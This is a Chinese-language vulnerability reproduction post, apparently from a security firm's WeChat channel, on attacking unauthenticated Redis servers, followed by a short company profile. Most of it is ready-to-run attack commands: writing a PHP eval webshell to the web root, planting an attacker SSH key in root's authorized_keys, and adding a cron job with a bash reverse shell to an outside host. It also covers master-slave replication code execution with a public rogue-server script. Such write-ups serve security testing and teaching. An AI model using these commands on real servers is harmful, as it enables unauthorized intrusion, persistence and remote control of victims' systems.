0x01 漏洞描述
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
0x02 漏洞复现
漏洞环境:redis-4.0.11
FOFA: app="redis"
1.通过空口令连接
redis-cli -h x.x.x.x
2.查看设置目录和设置文件
CONFIG GET dir #设置目录
CONFIG GET dbfilename #设置文件名
3.利用方式一、写webshell,蚁剑连接成功(知道物理路径且web目录有写权限写webshell)
config set dir /var/www/html/ #数据保存路径,网站根目录(根据实际情况来)
set xx "nnn<?php @eval($_POST['x']);?>nnn" #数据保存文件名,写入一句话木马
config set dbfilename shell.php #生成木马文件shell.php
save #保存
4.利用方式二、写ssh-keygen公钥,连接成功(开启22端口且权限够大的情况下写公钥)
config set dir /root/.ssh
config set dbfilename authorized_keys
set miyao "nnn你的密钥nnn"
save
ssh -i id_rse root@IP
5.利用方式三、写计划任务,nc监听得到shell(能够回连且权限够的话)
nc -lvvp 7779 #监听77779端口
set payload "n* * * * * bash -i >& /dev/tcp/x.x.x.x/4444 0>&1n" #设置变量值为反弹shell语句
config set dir /var/spool/cron/ #设置目录为目标机定时任务目录
config set dbfilename root #设置文件名
save #保存
6.利用方式四、redis主从复制<= 5.0.5(为了减轻 redis 服务器在访问量过大时的负担,可以采用主(master)从(slave)模式。简单说就是一主多从,slave 异步复制 master 数据,master 负责写入数据,slave 负责读出数据。这种攻击的利用方式是攻击者(主机)写一个so文件,然后通过 FULLRESYNC(全局)同步文件到受害人(从机)上。和前面几种比,这种要求权限小,成功率更高)
https://github.com/n0b0dyCN/redis-rogue-server #下载脚本
python3 redis-rogue-server.py --rhost 受害者IP --lhost 攻击者IP --exp=exp.so
(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)
0x03 公司简介
江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......
编制:sm
审核:fjh
审核:Dog
原文始发于微信公众号(融云攻防实验室):漏洞复现-Redis未授权利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论